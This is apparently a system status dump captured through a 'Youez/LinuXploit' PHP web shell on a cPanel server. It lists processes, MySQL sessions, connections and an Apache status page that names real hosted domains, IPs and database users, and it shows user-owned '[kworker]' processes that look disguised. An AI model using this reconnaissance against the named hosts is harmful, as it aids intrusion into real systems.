systuser    916  0.0  0.0 111608  1620 ?        Ssl  18:50   0:00 /usr/local/lp/opt/exporters/php-fpm_exporter/php-fpm_exporter server
systuser    917  0.0  0.0  12660    60 ?        Ssl  18:50   0:00 /usr/local/lp/opt/exporters/mysqld_exporter/mysqld_exporter --config.my-cnf=/usr/local/lp/etc/exporters/my.cnf
root        920  0.2  0.4 1277056 11168 ?       Ssl  18:50   0:35 /usr/bin/checkstatus
root        923  0.0  0.0 396248   748 ?        Ss   18:50   0:00 php-fpm: master process (/opt/cpanel/ea-php81/root/etc/php-fpm.conf)
root        927  0.0  0.5 439788 12244 ?        Ss   18:50   0:00 php-fpm: master process (/opt/cpanel/ea-php56/root/etc/php-fpm.conf)
named       929  0.0  1.5 1055796 36684 ?       Ssl  18:50   0:08 /usr/sbin/pdns_server --guardian=no --daemon=no --disable-syslog --log-timestamp=no --write-pid=no
root        930  0.0 12.2 1763340 296472 ?      Ssl  18:50   0:13 /usr/local/cpanel/3rdparty/bin/clamd -F
root        937  0.0  0.2 261028  6976 ?        Ss   18:50   0:02 cpsrvd (SSL) - waiting for connections                   
root      17551  0.0  0.0      0     0 ?        Z    23:29   0:00  \_ [cpaneld - servi] <defunct>
systuser    944  0.0  0.0 113932  2036 ?        Ssl  18:50   0:00 /usr/local/lp/opt/exporters/node_exporter/node_exporter
root        948  0.0  0.0  51508   724 ?        Ss   18:50   0:00 /usr/sbin/dovecot -F -c /etc/dovecot/dovecot.conf
dovenull   1078  0.0  0.1  47276  3052 ?        S    18:50   0:00  \_ dovecot/pop3-login
dovenull   1079  0.0  0.1  47484  3288 ?        S    18:50   0:00  \_ dovecot/imap-login
dovecot    1080  0.0  0.0  10320   588 ?        S    18:50   0:00  \_ dovecot/anvil
root       1081  0.0  0.0  10452   612 ?        S    18:50   0:00  \_ dovecot/log
dovenull   1082  0.0  0.1  47140  2732 ?        S    18:50   0:00  \_ dovecot/pop3-login
dovenull   1083  0.0  0.1  47628  3336 ?        S    18:50   0:00  \_ dovecot/imap-login
root       1086  0.0  0.1  24528  2692 ?        S    18:50   0:00  \_ dovecot/config
dovecot    1092  0.0  0.0  13568   620 ?        S    18:50   0:00  \_ dovecot/stats
dovecot    1171  0.0  0.0  41192  1692 ?        S    18:50   0:00  \_ dovecot/auth
root      16572  0.0  0.1  41052  2804 ?        S    23:28   0:00  \_ dovecot/auth -w
memcach+    951  0.0  0.0 342400   204 ?        Ssl  18:50   0:00 /usr/bin/memcached -u memcached -p 11211 -m 64 -c 1024
cpanelc+    952  0.0  0.1  10592  3620 ?        Rs   18:50   0:13 /usr/local/cpanel/3rdparty/sbin/p0f -i any -u cpanelconnecttrack -d -s /var/cpanel/userhomes/cpanelconnecttrack/p0f.socket less 400 and not dst port 80 and not dst port 443 and tcp[13] & 8==0
systuser    956  0.0  0.0  10132    28 ?        Ssl  18:50   0:00 /usr/local/lp/opt/exporters/apache_exporter/apache_exporter
root        957  0.0  0.1 265552  2680 ?        Ssl  18:50   0:04 /usr/sbin/rsyslogd -n
root        966  0.0  0.0 389508   820 ?        Ss   18:50   0:00 php-fpm: master process (/opt/cpanel/ea-php70/root/etc/php-fpm.conf)
root        975  0.0  0.1 400740  2456 ?        Ss   18:50   0:02 php-fpm: master process (/opt/cpanel/ea-php74/root/etc/php-fpm.conf)
nigeria   17391  0.0  0.1 400460  4820 ?        S    23:29   0:00  \_ php-fpm: pool nigeriadecide_org
healtho+  17548 14.5  2.8 461148 68748 ?        R    23:29   0:00  \_ php-fpm: pool health_oyostate_gov_ng
telegraf    976  0.0  1.5 5654304 37020 ?       SLsl 18:50   0:09 /usr/local/lp/bin/telegraf -config /usr/local/lp/etc/telegraf.toml -config-directory /usr/local/lp/etc/telegraf.d
root        985  0.0  0.0 388892   876 ?        Ss   18:50   0:00 php-fpm: master process (/opt/cpanel/ea-php73/root/etc/php-fpm.conf)
root        986  0.1  0.4 1341636 9740 ?        Ssl  18:50   0:23 /usr/bin/cspdaemon
root        987  0.0  0.0 572372  1256 ?        Ssl  18:50   0:01 /usr/bin/python2 -Es /usr/sbin/tuned -l -P
root       1131  0.0  4.8 247916 117592 ?       Ss   18:50   0:04 /usr/local/cpanel/3rdparty/perl/536/bin/perl -T -w /usr/local/cpanel/3rdparty/bin/spamd --allowed-ips=127.0.0.1,::1 --max-children=5 --pidfile=/var/run/spamd.pid --listen=5 --listen=6
root       6916  0.0  5.2 261216 128256 ?       S    18:56   0:01  \_ spamd child
root       6917  0.0  4.8 247916 116796 ?       S    18:56   0:00  \_ spamd child
systuser   1156  0.0  0.1 157708  3096 ?        S    18:50   0:00 SonarPush 0.6.12 [sleeping]
wp-tool+   1161  0.0  0.5 387528 13568 ?        Ss   18:50   0:00 /usr/bin/sw-engine /usr/local/cpanel/3rdparty/wp-toolkit/bin/run-script scheduled-tasks-executor.php
wp-tool+   1162  0.0  1.3 412368 32740 ?        Ss   18:50   0:05 /usr/bin/sw-engine /usr/local/cpanel/3rdparty/wp-toolkit/bin/run-script background-tasks-executor.php
root       1235  0.0  1.0 262228 24616 ?        Ss   18:50   0:01 cpdavd - accepting connections on: 2091, 2077, 2078
root       1239  0.0  0.0 167452  1524 ?        Ss   18:50   0:00 dnsadmin - dormant mode
root       1241  0.0  0.5 209680 12508 ?        Ss   18:50   0:02 tailwatchd
root       1655  0.0  0.0 299272  1020 ?        Ss   18:50   0:00 php-fpm: master process (/usr/local/cpanel/etc/php-fpm.conf)
root       1658  0.0  0.0 130416  1548 ?        SN   18:50   0:00 cpanellogd - sleeping for logs
root       1937  0.0  0.3 267084  8268 ?        Ss   18:50   0:01 /usr/sbin/httpd -k start
root       1938  0.0  0.0  12796   524 ?        S    18:50   0:01  \_ /usr/local/cpanel/bin/splitlogs --dir=/etc/apache2/logs/domlogs --main=chs1.nescrow.com.ng --suffix=-bytes_log
root       1939  0.0  0.0  12732   484 ?        S    18:50   0:01  \_ /usr/local/cpanel/bin/splitlogs --main=apache-traffic.log --mainout=/var/log/cpanel-server-traffic/web/traffic-apache.log
root       1940  0.0  0.0  12824   524 ?        S    18:50   0:01  \_ /usr/local/cpanel/bin/splitlogs --dir=/etc/apache2/logs/domlogs --main=chs1.nescrow.com.ng --mainout=/etc/apache2/logs/access_log
root       1945  0.0  0.0  53268   372 ?        S    18:50   0:00  \_ /usr/local/cpanel/3rdparty/bin/perl /usr/local/cpanel/bin/leechprotect
nobody      825  0.1  0.8 277576 20472 ?        S    23:06   0:02  \_ /usr/sbin/httpd -k start
nobody     3224  0.1  0.8 277580 20212 ?        S    23:09   0:01  \_ /usr/sbin/httpd -k start
nobody     4746  0.1  0.8 277900 20272 ?        S    23:11   0:01  \_ /usr/sbin/httpd -k start
nobody     5450  0.1  0.8 277516 19992 ?        S    23:12   0:01  \_ /usr/sbin/httpd -k start
nobody     8064  0.1  0.8 277576 19776 ?        S    23:16   0:01  \_ /usr/sbin/httpd -k start
nobody     8346  0.1  0.8 277576 19868 ?        S    23:16   0:01  \_ /usr/sbin/httpd -k start
nobody     8359  0.1  0.8 277904 19952 ?        S    23:16   0:01  \_ /usr/sbin/httpd -k start
nobody    12686  0.1  0.8 277576 19548 ?        S    23:22   0:00  \_ /usr/sbin/httpd -k start
nobody    12718  0.1  0.8 277904 19516 ?        S    23:22   0:00  \_ /usr/sbin/httpd -k start
nobody    14452  0.1  0.8 277876 19440 ?        S    23:25   0:00  \_ /usr/sbin/httpd -k start
cloudw    17754  0.0  0.6 353712 15968 ?        S    23:30   0:00  |   \_ /opt/cpanel/ea-php72/root/usr/bin/php-cgi
nobody    14656  0.1  0.7 277920 19308 ?        S    23:25   0:00  \_ /usr/sbin/httpd -k start
nobody    15015  0.1  0.7 277576 19228 ?        S    23:26   0:00  \_ /usr/sbin/httpd -k start
nobody    15721  0.2  0.7 277576 18920 ?        S    23:27   0:00  \_ /usr/sbin/httpd -k start
nobody    17145  0.2  0.7 277744 18436 ?        S    23:29   0:00  \_ /usr/sbin/httpd -k start
nobody    17164  0.0  0.7 277468 18824 ?        S    23:29   0:00  \_ /usr/sbin/httpd -k start
nobody    17165  0.1  0.7 277876 18936 ?        S    23:29   0:00  \_ /usr/sbin/httpd -k start
nobody    17179  0.1  0.7 277572 18760 ?        S    23:29   0:00  \_ /usr/sbin/httpd -k start
nobody    17180  0.1  0.7 277876 18840 ?        S    23:29   0:00  \_ /usr/sbin/httpd -k start
nobody    17182  0.1  0.7 277744 18560 ?        S    23:29   0:00  \_ /usr/sbin/httpd -k start
root       2013  0.0  0.5 183216 12620 ?        Ss   18:50   0:13 lfd - sleeping
mysql      2435  1.2 10.5 1462004 254908 ?      Sl   18:51   3:36 /usr/sbin/mysqld --daemonize --pid-file=/var/run/mysqld/mysqld.pid
oysipao+  10252  0.0  0.0   3148   416 ?        Ss   19:00   0:00 [kworker]
oysipao+  10256  0.0  0.0   3152   492 ?        S    19:00   0:00  \_ [kworker]
## mysql stats
Uptime: 16739  Threads: 3  Questions: 1285680  Slow queries: 0  Opens: 4574  Flush tables: 1  Open tables: 2000  Queries per second avg: 76.807
*************************** 1. row ***************************
     Id: 21619
   User: nigeria_decide
   Host: localhost
     db: nigeria_decide
Command: Sleep
   Time: 0
  State: 
   Info: NULL
*************************** 2. row ***************************
     Id: 21628
   User: root
   Host: localhost
     db: NULL
Command: Query
   Time: 0
  State: starting
   Info: show processlist
## network stats
      1 114.119.150.65 TIME_WAIT
      1 127.0.0.1 TIME_WAIT
      1 192.178.4.102 TIME_WAIT
      1 ::1 TIME_WAIT
      1 43.135.145.73 TIME_WAIT
      1 43.157.188.74 TIME_WAIT
      2 10.30.9.122 TIME_WAIT
      2 10.30.9.138 TIME_WAIT
## httpd stats
                                                                                                                                                                                  Apache Server Status for localhost (via ::1)

   Server Version: Apache/2.4.65 (cPanel) OpenSSL/1.1.1w mod_bwlimited/1.4
   Server MPM: prefork
   Server Built: Nov 12 2025 18:18:40
     __________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________

   Current Time: Thursday, 20-Nov-2025 23:30:02 WAT
   Restart Time: Thursday, 20-Nov-2025 18:50:17 WAT
   Parent Server Config. Generation: 1
   Parent Server MPM Generation: 0
   Server uptime: 4 hours 39 minutes 44 seconds
   Server load: 0.55 0.26 0.24
   Total accesses: 91098 - Total Traffic: 2.2 GB - Total Duration: 49733011
   CPU Usage: u10.26 s5.4 cu1168.35 cs943.31 - 12.7% CPU load
   5.43 requests/sec - 138.9 kB/second - 25.6 kB/request - 545.929 ms/request
   14 requests currently being processed, 0 workers gracefully restarting, 5 idle workers

_.._KKKKKR..WKRKKK_KR._........._...............................
................................................................
................................................................
................................................................

   Scoreboard Key:
   "_" Waiting for Connection, "S" Starting up, "R" Reading Request,
   "W" Sending Reply, "K" Keepalive (read), "D" DNS Lookup,
   "C" Closing connection, "L" Logging, "G" Gracefully finishing,
   "I" Idle cleanup of worker, "." Open slot with no current process

   Srv   PID     Acc     M CPU   SS  Req   Dur   Conn  Child  Slot      Client      Protocol           VHost                                        Request
   0-0  8064  0/224/4424 _ 5.41 0    0   2413310 0.0   5.82  112.49 ::1             http/1.1 chs1.nescrow.com.ng:80     GET //whm-server-status HTTP/1.0
   1-0  -     0/0/4099   . 0.00 31   0   2122734 0.0   0.00  97.61  ::1             http/1.1 chs1.nescrow.com.ng:80     OPTIONS * HTTP/1.0
   2-0  -     0/0/4061   . 0.00 30   0   2175141 0.0   0.00  101.27 ::1             http/1.1 chs1.nescrow.com.ng:80     OPTIONS * HTTP/1.0
   3-0  5450  0/268/4308 _ 6.77 0    343 2442777 0.0   9.64  113.39 192.178.4.101   http/1.1 team.cloudware.ng:443      GET /ctg/search/similarImageSearchResultView/?ctgItemCd=251971
   4-0  3224  2/309/4349 K 8.38 0    855 2249517 12.5  10.28 106.71 161.132.48.191  http/1.1 health.oyostate.gov.ng:443 POST /wp-login.php HTTP/1.1
   5-0  14452 1/69/4186  K 1.54 0    370 2424886 34.2  2.25  108.33 192.178.4.104   http/1.1 team.cloudware.ng:443      GET /?l=4050164568 HTTP/1.1
   6-0  8346  1/184/4022 K 4.48 0    358 2244062 35.8  4.74  121.77 192.178.4.97    http/1.1 team.cloudware.ng:443      GET /ctg/search/similarImageSearchResultView/?ctgItemCd=1861716
   7-0  14656 6/71/4067  K 1.84 0    429 2239583 190.3 1.95  106.06 192.178.4.99    http/1.1 team.cloudware.ng:443      GET /ctg/search/similarImageSearchResultView/?ctgItemCd=2276746
   8-0  12686 1/95/4325  K 2.22 0    455 2293383 35.2  2.44  103.95 192.178.4.96    http/1.1 team.cloudware.ng:443      GET /?l=2384428305 HTTP/1.1
   9-0  15015 0/57/4119  R 1.31 3    1   2127697 0.0   1.39  99.54  61.171.113.15   http/1.1 cloudware.ng:443
   10-0 -     0/0/4230   . 0.00 32   0   2152713 0.0   0.00  97.01  ::1             http/1.1 chs1.nescrow.com.ng:80     OPTIONS * HTTP/1.0
   11-0 -     0/0/3927   . 0.00 36   0   2057945 0.0   0.00  95.55  ::1             http/1.1 chs1.nescrow.com.ng:80     OPTIONS * HTTP/1.0
   12-0 15721 0/64/3962  W 1.73 0    0   2104445 0.0   1.83  98.97  ::1             http/1.1 chs1.nescrow.com.ng:80     GET //whm-server-status HTTP/1.0
   13-0 8359  7/209/4111 K 5.62 1    354 2110936 218.1 5.76  97.59  192.178.4.102   http/1.1 team.cloudware.ng:443      GET /ctg/search/similarImageSearchResultView/?ctgItemCd=991395
   14-0 17145 0/14/3825  R 0.38 1    263 2046362 0.0   0.44  88.59  192.178.4.104   http/1.1 team.cloudware.ng:443
   15-0 17164 1/9/3480   K 0.15 2    408 1971090 35.9  0.22  88.15  192.178.4.105   http/1.1 team.cloudware.ng:443      GET /ctg/search/similarImageSearchResultView/?ctgItemCd=1129131
   16-0 4746  2/295/3452 K 7.15 1    313 1888338 65.7  7.63  94.39  192.178.4.100   http/1.1 team.cloudware.ng:443      GET /ctg/search/similarImageSearchResultView/?ctgItemCd=1936186
   17-0 17165 2/10/2588  K 0.14 2    401 1438456 69.0  0.20  61.25  192.178.4.103   http/1.1 team.cloudware.ng:443      GET /?l=185948772 HTTP/1.1
   18-0 17179 0/10/2961  _ 0.18 1    399 1651301 0.0   0.24  69.21  192.178.4.96    http/1.1 team.cloudware.ng:443      GET /?l=3455804563 HTTP/1.1
   19-0 17180 1/12/2102  K 0.28 0    7   1228522 9.9   0.33  52.49  185.147.102.106 http/1.1 nigeriadecide.org:443      GET /polling_unit_category.php?lga=Ajaokuta&state=Kogi&ward=Odo
   20-0 12718 0/91/2904  R 2.28 76   341 1731019 0.0   2.36  74.59  192.178.4.97    http/1.1 team.cloudware.ng:443      GET /ctg/search/similarImageSearchResultView/?ctgItemCd=156097
   21-0 -     0/0/1930   . 0.00 38   0   1085425 0.0   0.00  48.79  ::1             http/1.1 chs1.nescrow.com.ng:80     OPTIONS * HTTP/1.0
   22-0 17182 0/10/2220  _ 0.23 0    394 1125972 0.0   0.32  51.46  192.178.4.98    http/1.1 team.cloudware.ng:443      GET /ctg/search/similarImageSearchResultView/?ctgItemCd=735097
   23-0 -     0/0/2046   . 0.00 1241 0   1125104 0.0   0.00  51.39  ::1             http/1.1 chs1.nescrow.com.ng:80     OPTIONS * HTTP/1.0
   24-0 -     0/0/1415   . 0.00 1240 0   759249  0.0   0.00  35.86  ::1             http/1.1 chs1.nescrow.com.ng:80     OPTIONS * HTTP/1.0
   25-0 -     0/0/1013   . 0.00 440  0   628104  0.0   0.00  27.34  ::1             http/1.1 chs1.nescrow.com.ng:80     OPTIONS * HTTP/1.0
   26-0 -     0/0/542    . 0.00 1229 0   339940  0.0   0.00  13.83  ::1             http/1.1 chs1.nescrow.com.ng:80     OPTIONS * HTTP/1.0
   27-0 -     0/0/388    . 0.00 793  0   240685  0.0   0.00  8.92   ::1             http/1.1 chs1.nescrow.com.ng:80     OPTIONS * HTTP/1.0
   28-0 -     0/0/396    . 0.00 1228 0   283393  0.0   0.00  11.13  ::1             http/1.1 chs1.nescrow.com.ng:80     OPTIONS * HTTP/1.0
   29-0 -     0/0/374    . 0.00 1401 0   230726  0.0   0.00  9.58   ::1             http/1.1 chs1.nescrow.com.ng:80     OPTIONS * HTTP/1.0
   30-0 -     0/0/220    . 0.00 1164 0   151486  0.0   0.00  4.67   ::1             http/1.1 chs1.nescrow.com.ng:80     OPTIONS * HTTP/1.0
   31-0 -     0/0/266    . 0.00 1215 0   193684  0.0   0.00  6.34   ::1             http/1.1 chs1.nescrow.com.ng:80     OPTIONS * HTTP/1.0
   32-0 825   0/386/571  _ 9.78 0    0   361049  0.0   10.10 13.85  127.0.0.1       http/1.1 chs1.nescrow.com.ng:80     GET /whm-server-status HTTP/1.0
   33-0 -     0/0/27     . 0.00 1388 0   8322    0.0   0.00  0.49   ::1             http/1.1 chs1.nescrow.com.ng:80     OPTIONS * HTTP/1.0
   34-0 -     0/0/23     . 0.00 1403 0   13274   0.0   0.00  0.62   ::1             http/1.1 chs1.nescrow.com.ng:80     OPTIONS * HTTP/1.0
   35-0 -     0/0/4      . 0.00 1393 0   625     0.0   0.00  0.05   ::1             http/1.1 chs1.nescrow.com.ng:80     OPTIONS * HTTP/1.0
   36-0 -     0/0/38     . 0.00 1396 0   20129   0.0   0.00  1.00   ::1             http/1.1 chs1.nescrow.com.ng:80     OPTIONS * HTTP/1.0
   37-0 -     0/0/34     . 0.00 1347 4   14000   0.0   0.00  0.81   ::1             http/1.1 chs1.nescrow.com.ng:80     OPTIONS * HTTP/1.0
   38-0 -     0/0/39     . 0.00 1345 0   17281   0.0   0.00  1.02   ::1             http/1.1 chs1.nescrow.com.ng:80     OPTIONS * HTTP/1.0
   39-0 -     0/0/16     . 0.00 1380 0   7691    0.0   0.00  0.75   ::1             http/1.1 chs1.nescrow.com.ng:80     OPTIONS * HTTP/1.0
   40-0 -     0/0/4      . 0.00 1404 0   1380    0.0   0.00  0.06   ::1             http/1.1 chs1.nescrow.com.ng:80     OPTIONS * HTTP/1.0
   41-0 -     0/0/2      . 0.00 1499 0   2       0.0   0.00  0.01   ::1             http/1.1 chs1.nescrow.com.ng:80     OPTIONS * HTTP/1.0
   42-0 -     0/0/10     . 0.00 1462 0   4239    0.0   0.00  0.22   ::1             http/1.1 chs1.nescrow.com.ng:80     OPTIONS * HTTP/1.0
   43-0 -     0/0/2      . 0.00 1498 0   776     0.0   0.00  0.04   ::1             http/1.1 chs1.nescrow.com.ng:80     OPTIONS * HTTP/1.0
   44-0 -     0/0/4      . 0.00 1495 0   1892    0.0   0.00  0.10   ::1             http/1.1 chs1.nescrow.com.ng:80     OPTIONS * HTTP/1.0
   45-0 -     0/0/4      . 0.00 1490 0   822     0.0   0.00  0.06   ::1             http/1.1 chs1.nescrow.com.ng:80     OPTIONS * HTTP/1.0
   46-0 -     0/0/3      . 0.00 1496 0   1120    0.0   0.00  0.07   ::1             http/1.1 chs1.nescrow.com.ng:80     OPTIONS * HTTP/1.0
   47-0 -     0/0/5      . 0.00 1494 0   2403    0.0   0.00  0.12   ::1             http/1.1 chs1.nescrow.com.ng:80     OPTIONS * HTTP/1.0
     __________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________

    Srv  Child Server number - generation
    PID  OS process ID
    Acc  Number of accesses this connection / this child / this slot
     M   Mode of operation
    CPU  CPU usage, number of seconds
    SS   Seconds since beginning of most recent request
    Req  Milliseconds required to process most recent request
    Dur  Sum of milliseconds required to process all requests
   Conn  Kilobytes transferred this connection
   Child Megabytes transferred this child
   Slot  Total megabytes transferred this slot
     __________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________

   SSL/TLS Session Cache Status:
   cache type: SHMCB, shared memory: 1024000 bytes, current entries: 937
   subcaches: 32, indexes per subcache: 177
   time left on oldest entries' objects: avg: 6 seconds, (range: 0...23)
   index usage: 16%, cache usage: 22%
   total entries stored since starting: 60156
   total entries replaced since starting: 0
   total entries expired since starting: 59205
   total (pre-expiry) entries scrolled out of the cache: 0
   total retrieves since starting: 1 hit, 136 miss
   total removes since starting: 14 hit, 19 miss

Youez - 2016 - github.com/yon3zu
LinuXploit